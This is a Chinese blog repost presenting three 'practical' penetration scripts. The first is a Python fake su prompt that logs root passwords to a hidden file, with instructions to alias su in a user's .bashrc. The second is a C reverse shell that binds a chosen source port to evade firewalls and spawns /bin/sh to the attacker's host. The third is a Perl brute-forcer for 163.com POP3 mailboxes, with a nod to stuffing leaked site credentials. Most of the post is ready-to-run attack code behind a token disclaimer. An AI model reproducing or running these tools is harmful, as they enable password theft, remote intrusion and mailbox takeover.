zoukankan      html  css  js  c++  java
  • 短小实用 渗透用的Python小脚本

    http://netsecurity.51cto.com/art/201404/436517.htm?from=message&isappinstalled=0

    渗透的很多时候,找到的工具并不适用,自己码代码才是王道,下面三个程序都是渗透时在网络上找不到合适工具,自己辛苦开发的,短小实用。

    渗透用的Python小脚本

    一、记录root密码小工具

    root.py

    1. #!/usr/bin/python  
    2. import os, sys, getpass, time  
    3. current_time = time.strftime("%Y-%m-%d %H:%M")  
    4. logfile="/dev/shm/.su.log"              //密码获取后记录在这里  
    5. #CentOS                  
    6. #fail_str = "su: incorrect password"  
    7. #Ubuntu               
    8. #fail_str = "su: Authentication failure"  
    9. #For Linux Korea                    //centos,ubuntu,korea 切换root用户失败提示不一样  
    10. fail_str = "su: incorrect password" 
    11. try:  
    12.     passwd = getpass.getpass(prompt='Password: ');  
    13.     file=open(logfile,'a')  
    14.     file.write("[%s]t%s"%(passwd, current_time))   //截取root密码  
    15.     file.write('n')  
    16.     file.close()  
    17. except:  
    18.     pass 
    19. time.sleep(1)  
    20. print fail_str                               //打印切换root失败提示 

    渗透linux拿到低权限并提权无果时,将这个程序传上去,再将一个低权限用户目录下的.bashrc添加一句alias su=’/usr/root.py’; 低权限用户su root 后 成功记录密码。密码记录路径请看脚本

    二、设置源端口反弹shell

    渗透某个linux服务器,反连时目标端口为888不行,53,80还是不行,Ping了下百度,可以ping通。那真相只有一个,服务器变态的限制了只能某些提供已某些端口为源端口去连接外面。

    比如:只允许接收对80端口的访问数据包,并以80为源端口向外回复数据。

    谷歌程序无果,自己查了相关api后写了个。

    client-port.c

    1. #include  
    2. #include  
    3. #include  
    4. #include  
    5. #include  
    6. void error(char *msg)  
    7. {  
    8. perror(msg);  
    9. exit(0);  
    10. }  
    11. int main(int argc, char *argv[])  
    12. {  
    13. int sockfd, portno, lportno,n;  
    14. struct sockaddr_in serv_addr;  
    15. struct sockaddr_in client_addr;  
    16. struct hostent *server;  
    17. char buffer[256];  
    18. if (argc < 3) {  
    19. fprintf(stderr,"usage %s hostname port LocalPortn", argv[0]);  
    20. exit(0);  
    21. } //三个参数,目标主机,目标主机端口,本地源端口  
    22. portno = atoi(argv[2]);  
    23. sockfd = socket(AF_INET, SOCK_STREAM, 0);  
    24. if (sockfd < 0)  
    25. error("ERROR opening socket");  
    26. bzero((char *) &client_addr, sizeof(client_addr));  
    27. lportno = atoi(argv[3]);  
    28. client_addr.sin_family = AF_INET;  
    29. client_addr.sin_addr.s_addr = INADDR_ANY;  
    30. client_addr.sin_port = htons(lportno); //设置源端口  
    31. if (bind(sockfd, (struct sockaddr *) &client_addr,  
    32. sizeof(client_addr)) < 0)  
    33. error("ERROR on binding");  
    34. server = gethostbyname(argv[1]);  
    35. if (server == NULL) {  
    36. fprintf(stderr,"ERROR, no such host ");  
    37. exit(0);  
    38. }  
    39. bzero((char *) &serv_addr, sizeof(serv_addr));  
    40. serv_addr.sin_family = AF_INET;  
    41. bcopy((char *)server->h_addr,  
    42. (char *)&serv_addr.sin_addr.s_addr,  
    43. server->h_length);  
    44. serv_addr.sin_port = htons(portno);  
    45. if (connect(sockfd,&serv_addr,sizeof(serv_addr)) < 0) //连接  
    46. error("ERROR connecting");  
    47. dup2(fd, 0);  
    48. dup2(fd, 1);  
    49. dup2(fd, 2);  
    50. execl("/bin/sh","sh -i", NULL); //执行shell  
    51. close(fd);  
    52. }  

    用法:

    1. gcc client-port.c -o port  
    2. chmod +x port  
    3. ./port  你的IP 你的监听端口 本地的源端口 

    如 ./port http://www.91ri.org 80 80

    成功反弹shell 提权成功

    三、邮箱爆破脚本

    某个时候,需要爆破一批邮箱。

    Burp163.pl

    1. #!/usr/bin/perl  
    2. use Net::POP3;  
    3. $email="pop.163.com";          //设置pop服务器地址 qq为pop.qq.com  
    4. $pop = Net::POP3->new($email)or die("ERROR: Unable to initiate. ");  
    5. print $pop->banner();  
    6. $pop->quit;  
    7. $i=0;  
    8. open(fp1,"user.txt");  
    9. @array1=<fp1>;  
    10. open(fp2,"pass.txt");  
    11. @array2=<fp2>;                     //从文件中获取邮箱用户名及密码  
    12. foreach $a(@array1) {  
    13. $u=substr($a,0,length($a)-1);  
    14. $u=$u."@163.com";  
    15. foreach $b(@array2) {  
    16. $p=substr($b,0,length($b)-1);  
    17. print "cracked with ".$u."-----".$p."n";  
    18. $i=$i+1;  
    19. $pop = Net::POP3->new($email)or die("ERROR: Unable to initiate. ");  
    20. $m=$pop->login($u,$p);              //尝试登录邮箱  
    21. if($m>0)  
    22. {  
    23. print $u."------------".$p."----"."success"."n";  
    24. $pop->quit;  
    25. }                                //成功登录  
    26. else 
    27. {  
    28. print $u."------------".$p."----"."failed"."n";  
    29. $pop->quit;                                     //登录失败  
    30. }  
    31. }  
    32. }  
    33. print $i;  

    用法 将要爆破的邮箱的pop服务器写入下面这一行 默认是163邮箱

    1. $email="pop.163.com"; 

    再将去除掉@后面部分的邮箱地址比如lusiyu@163.com 去除后lusiyu存进去

    同目录user.txt中吗,再将字典存进去pass.txt

    你会说:这个有点鸡肋吧?万一邮箱的密码很复杂。

    呵呵。

    搞到了一个小站的数据,用这个程序批量测试密码是否就是邮箱密码。

    呵呵,我啥都没说。

    这三个程序仅供技术研究,如读者用于违法行为,本人概不负责。

    【编辑推荐】

  • 相关阅读:
    Zabbix,Nagios,OneAPM Servers 安装部署大比拼
    Android 手把手带你玩转自己定义相机
    Sublime Text3 快捷键
    超具体Windows版本号编译执行React Native官方实例UIExplorer项目(多图慎入)
    poj 1664 放苹果(递推)
    在HyperLedger Fabric中启用CouchDB作为State Database
    HyperLedger Fabric 1.0的Transaction处理流程
    如何将Bitcoin比特币区块链数据导入关系数据库
    在Ubuntu中部署并测试Fabric 1.0 Beta
    在Ubuntu上快速搭建基于Beego的RESTful API
  • 原文地址:https://www.cnblogs.com/qdfu/p/5574764.html
Copyright © 2011-2022 走看看